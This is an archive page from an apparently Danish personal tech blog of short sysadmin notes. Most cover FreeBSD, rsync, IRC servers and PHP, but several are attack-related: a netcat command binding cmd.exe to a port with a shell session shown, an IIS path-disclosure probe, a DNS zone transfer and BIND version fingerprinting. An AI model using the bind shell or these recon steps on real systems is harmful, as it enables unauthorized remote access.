Forfatterarkiv: mike

IIS Vuln.

http://1.0.0.13/_vti_bin/shtml.exe/postinfo1.html svarer med: “c:\inetpub\wwwroot\postinfo1.html” kan ikke åbnes: Filen eller mappen findes ikke.

Udgivet i Knowledge Base, Old Base, Windows | Skriv en kommentar

Bind shell in windows

nc -L -d -e cmd.exe -p 8080 Will bind a cmd.exe to port 8080 root@camp:~# telnet 1.0.0.13 8080 Trying 1.0.0.13… Connected to 1.0.0.13. Escape character is ‘^]’. Microsoft Windows 2000 [version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\>whoami whoami HONEYPOT\Administrator … Læs resten

Udgivet i Knowledge Base, Networking, Old Base, Windows, Workstation | Skriv en kommentar

NTFS i FreeBSD

Add the following to your kernel: options NTFS Add this to /etc/fstab (ofcourse adjust for your system) /dev/ad3s1 /mnt/boot ntfs ro 0 0 /dev/ad3s2 /mnt/data ntfs ro 0 0 Mount with: mount /mnt/data

Udgivet i FreeBSD, Old Base | Skriv en kommentar

Naming vars(and other shit) with camel notification

VeryLongPassword for Very long password are called camel notification and camel notation.

Udgivet i Uncategorized | Skriv en kommentar

Linking pre 3.2 Unreal IRCD Servers

This describes how to link pre 3.2 Unrealircd server 3.2+ are using a differet config file format. C tells the server to try to connect to the server with adresse 10.2.1.10 with name hub.geeknet.dk on port 6667 in connection class … Læs resten

Udgivet i Uncategorized | Skriv en kommentar

Rsync synkronization of files trough ssh

peanut# rsync -ave ssh root@unifix.org:/www/base.fujang.dk . root@unifix.org’s password: receiving file list … done base.fujang.dk/ base.fujang.dk/.ssh/ base.fujang.dk/cgi-bin/ Synkronizes “.” with “/www/base.fujang.dk” on unifix.org , read as the user root, you can prevent typing password by using keyfiles for furter instructions see … Læs resten

Udgivet i FreeBSD, Knowledge Base, Linux, Old Base | Skriv en kommentar

DNS Zone transfeers with dig

Zone transfer query send to ns.unifix.org for the domain 2600dk dig @ns.unifix.org 2600dk.net AXFR

Udgivet i Domain Name System, Knowledge Base, Networking, Old Base | Skriv en kommentar

Probe version of Named deamons

Nameserver ns.tele.dk runs Bind 9.2.2, bind 8.2 og hoejere kan fake version output. root@chilibeans:~# dig @ns.tele.dk txt chaos version.bind. ; <<>> DiG 9.2.2rc1 <<>> @ns.tele.dk txt chaos version.bind. ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: … Læs resten

Udgivet i Domain Name System, Knowledge Base, Networking, Old Base | Skriv en kommentar

PHP unicode decoder

function unicode_decode($txt) { $txt = preg_replace_callback( ‘/%u([[:alnum:]]{4})/’, create_function(‘$match’, ‘return “&#”.hexdec($match[1]).”;”;’), $txt ); $txt = preg_replace_callback( ‘/%([[:alnum:]]{2})/’, create_function(‘$match’, ‘return “&#”.hexdec($match[1]).”;”;’), $txt ); return ($txt); }  

Udgivet i Knowledge Base, Old Base, PHP, Programmering | Skriv en kommentar

cvsup FreeBSD to current

Install cvsup: cd /usr/ports/net/cvsup-without-gui && make install For Stable use tag=RELENG_4 Create file /usr/src/current-supfile with this inside: Use this cvsup file: # IMPORTANT: Change the next line to use one of the CVSup mirror sites *default host=cvsup.dk.FreeBSD.org *default base=/usr *default … Læs resten

Udgivet i FreeBSD, Knowledge Base, Old Base | Skriv en kommentar